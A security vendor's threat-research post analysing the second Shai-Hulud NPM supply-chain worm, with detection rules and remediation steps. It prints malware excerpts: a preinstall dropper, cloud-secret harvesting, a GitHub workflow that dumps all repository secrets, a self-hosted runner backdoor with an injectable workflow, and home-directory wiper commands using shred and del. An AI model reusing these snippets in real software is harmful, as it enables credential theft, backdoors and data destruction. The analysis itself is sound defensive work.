
Falco Feeds extends the power of Falco by giving open source-focused companies access to expert-written rules that are continuously updated as new threats are discovered.

On November 24, 2025, a new version of the Shai-Hulud worm (also spelled Sha1-Hulud) began to propagate across the internet using backdoored NPM packages. So far, it has affected nearly 1,000 packages and leaked credentials for over 25,000 GitHub repositories. The breadth and scope of victim impact brought on by this new instance of the worm has surpassed its previous incarnation by using a variety of new methods.
Once executed, Shai-Hulud steals credentials, exfiltrates them, and attempts to find additional NPM packages in which to copy itself. The malicious code also attempts to delete files and directories on the system on which it is run, and achieve persistence on victims’ machines by installing a self-hosted GitHub Action runner. However, organizational security teams can detect Shai-Hulud at runtime through its suspicious connections and executions spawned from NPM install commands.
The Sysdig Threat Research Team (TRT) has analyzed how this second version of Shai-Hulud differs from its predecessor, how it operates, and how affected users can best detect and mitigate it. Our full findings are detailed below.
Shai-Hulud: The second coming
While the overall campaign and goal of the new iteration of the Shai-Hulud worm resembles its previous campaign, the difference is in the details, as the worm's creator has introduced some new notable functionality.
Unlike the previous version, which executed during the post-install phase, the updated Shai-Hulud worm executes during pre-installation:
{
...
"scripts": {
"preinstall": "node setup_bun.js"
}
...
}
The “setup_bun.js” is a simple JavaScript that acts as a dropper for the next malicious steps involved by the attackers. It checks if “bun” — a popular JavaScript runtime and toolkit for modern web development — is already installed on the victim’s machine. If not, it first downloads “bun” and then uses it to run another JS file, this time named “bun_environment.js.”
…
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
…
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
This second JS code, already packed into the affected NPM packages, contains approximately 10 MB of obfuscated malicious code. This includes many modules to leverage GitHub, AWS, GCP, Azure, TruffleHog, and other functionalities.
The malicious script in this new version of Shai-Hulud makes some distinctions to run in CI environments or on developers’ machines. In the latter case, the original process terminates cleanly without raising any messages or errors, but only after a new silent, identical execution of the script has been launched under the hood.
if (process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) {
await aL0(); // malicious execution
} else {
if (process.env.POSTINSTALL_BG !== '1') {
let _0x4a3fc4 = process.execPath;
if (process.argv[0x1]) {
Bun.spawn([_0x4a3fc4, process.argv[0x1]], { 'env': { ...process.env,'POSTINSTALL_BG': '1'}}).unref();
return;
}
}
try {
await aL0(); // malicious execution
}
…
}The malicious code is then triggered by invoking the aL0() function, where it starts by determining the kind of system on which it’s running. It then proceeds to collect the data it will need to further conduct its execution.
At this point, the Shai-Hulud worm checks if the NPM token is available in the environment variables. If the token is not found, the malware also searches for the token in the .npmrc file in the current working directory and in the home directory. Finding this secret is essential for the malware to propagate itself using the NPM package registry. If this token is found, the malware tries to validate it, gets the packages managed by its owner, and updates the top 100 by monthly downloads.
If an authenticated GitHub user is found, the worm creates a new public repository. In this version, the GitHub repository name won’t be static, such as “Shai-Hulud,” which was used in the previous campaign. Instead, the name will be randomly generated, with a fixed length of 18 characters. The description of the repository will be instead: "Sha1-Hulud: The Second Coming." The name and description are easily searchable using GitHub.

During execution, the worm collects interesting credentials or environment variables to be later exfiltrated into the newly created repository. It also uses AWS, GCP, and Azure modules to not only look for secrets, but also run Trufflehog in search of interesting data on the filesystem.
...
if (_0x1b7dd4.isAuthenticated()) {
await _0x1b7dd4.createRepo(tL0());
}
...
function tL0() {
return Array.from({
'length': 0x12
}, () => Math.random().toString(0x24).slice(0x2, 0x3)).join('');
}
...
async ["createRepo"](_0x4c7ff4, _0x128783 = "Sha1-Hulud: The Second Coming.", _0x20067d = false) {
...
try {
let _0xc8701c = (await this.octokit.rest.repos.createForAuthenticatedUser({
'name': _0x4c7ff4,
'description': _0x128783,
'private': _0x20067d,
'auto_init': false,
'has_issues': false,
'has_discussions': true,
'has_projects': false,
'has_wiki': false
})).data;
...
}What is even more interesting this time is that the malware introduces new functionalities and checks. The newly created repository secretly installs a self-hosted GitHub Actions runner on the victim's compromised machine that the attacker can control. In Linux, this runner is installed at “~/.dev-env” and executed in the background using the “nohup” command. Next, the runner is connected with the newly created GitHub repository using a registration token.
At the same time, the attacker also adds a GitHub workflow called “.github/workflows/discussion.yaml” into the repository. This workflow is vulnerable to injection and can be exploited to run arbitrary commands on the system where the runner was installed. This effectively acts as a backdoor into the compromised system.
...
let _0x3e4549 = {
'aws': {
'secrets': await _0x30fddc.runSecrets()
},
'gcp': {
'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
},
'azure': {
'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
}
};
let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
...
Unlike the previous version, if no NPM token has been found, the attacker will delete the writable files and folders from the user’s home directory. In Linux, this operation occurs using the shred command, so that files are overwritten with random data and are unrecoverable.
...
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
...
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x349291,
'repo': _0x2b1a39,
'path': ".github/workflows/discussion.yaml",
'message': "Add Discusion",
'content': Buffer.from("\nname: Discussion Create\non:\n discussion:\njobs:\n process:\n env:\n RUNNER_TRACKING_ID: 0\n runs-on: self-hosted\n steps:\n - uses: actions/checkout@v5\n - name: Handle Discussion\n run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
'branch': 'main'
});
...
If valid GitHub credentials are found, the malicious code iterates over all repositories that have been updated since “2025-06-01T00:00:00Z” and to which the user has access as an owner or collaborator. If any are found, the worm tries to exfiltrate those GitHub secrets.
To exfiltrate secrets, the worm creates a new branch on each repository found. This branch includes a workflow file called “.github/workflows/formatter_123456789.yml” that gets triggered on “push” to extract the GitHub secrets available. Once the corresponding action runs, the malicious code will asynchronously wait for the returned results so it can exfiltrate those secrets in the previously created GitHub public repository.
...
if (_0x4692e0) {
// if NPM token was found -> update the packages owned by the maintainer and push them into NPM
await El(_0x4692e0);
} else {
// delete all the files writable by the current user in the HOME folder and wipes out all the folders into it
console.log("Error 12");
if (_0x46410c.platform === "windows") {
Bun.spawnSync(["cmd.exe", '/c', "del /F /Q /S \"%USERPROFILE%*\" && for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & cipher /W:%USERPROFILE%"]);
} else {
Bun.spawnSync(["bash", '-c', "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOME\" -depth -type d -empty -delete"]);
}
process.exit(0x0);
}
...
Once the secrets from the GitHub repository have been retrieved, the code also wipes out any evidence of its execution. It will also delete the previously triggered GitHub action, as well as the GitHub branch that was used to create the workflow.
...
// branch name
let _0x27a22e = "add-linter-workflow-" + Date.now();
// content added to the new branch
let _0x222423 = Buffer.from("\nname: Code Formatter\non:\n push\njobs:\n lint:\n runs-on: ubuntu-latest\n env:\n DATA: ${{ toJSON(secrets)}}\n steps:\n - uses: actions/checkout@v5\n - name: Run Formatter\n run: |\n cat <<EOF > format.json\n $DATA\n EOF\n - uses: actions/upload-artifact@v5\n with:\n path: format.json\n name: formatting\n", "utf8").toString("base64");
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x10c657,
'repo': _0x43812f,
'path': ".github/workflows/formatter_123456789.yml",
'message': "Add formatter workflow",
'content': _0x222423,
'branch': _0x27a22e
});
...
The impact of the second Shai-Hulud campaign
At the time of this writing, Shai-Hulud has trojaned over 800 NPM packages and exfiltrated credentials from tens of thousands of GitHub repositories. This version of the worm has also leaked a greater amount of data than its predecessor.
Additionally, Shai-Hulud creates these base64 double-encoded files in the new GitHub repository that hold the data:
- cloud.json, containing found AWS, GCP, and Azure secrets.
- environment.json, containing the environment variables found in the victim’s machine.
- contents.json, with the machine OS details, architecture, username, hostname, and the GitHub token.
- truffleSecrets.json, containing the secrets found by Trufflehog.
- actionsSecrets.json, which contains the GitHub secrets retrieved from the other GitHub repositories to which the victim had access, using a malicious exfiltrating workflow.
Detecting Shai-Hulud v1 and v2
Sysdig Secure customers can leverage runtime detections with the Network Tool Executed During NPM Install and Instance Metadata Service Contacted During Package Install rules to detect Shai-Hulud. These rules can be found in the Sysdig Runtime Threat Detection policies. They flag suspicious connections and executions spawned from NPM install commands — in this case, from the payload bun_environment.js being executed.


The Sysdig Threat Intelligence news feed has also been updated to include new queries for the affected packages. Just go to Home → Threat Intelligence to check if your hosts or images have any of the affected packages installed.

Remediation steps
Users affected by Shai-Hulud should remove and replace any compromised packages immediately. They should also clear their NPM cache, then pin any dependencies to known clean versions or roll back to builds from before the incident.
Additionally, affected users should rotate all credentials that may have been exposed. This means revoking and regenerating NPM tokens, GitHub PATs, any cloud provider credentials, and any other credentials that may have been exposed.
Furthermore, users should conduct an audit of their GitHub and CI/CD environments. They should search for any newly created repositories containing "Sha1-Hulud" in the description, and review their workflows and commit history for unauthorized changes. Users should keep an eye on NPM for any unexpected publishes outside of their organization's scope.
Conclusion
The rising frequency of supply chain attacks makes monitoring third-party packages for malicious activity more critical than ever. Given the varied methods for concealing malicious code, runtime threat detection is essential for detecting and mitigating these attacks. Both Falco and Sysdig Secure provide runtime visibility and detection capabilities. However, Sysdig Secure also offers enhanced detections and an inventory system, which simplifies identifying environments affected by malicious packages.
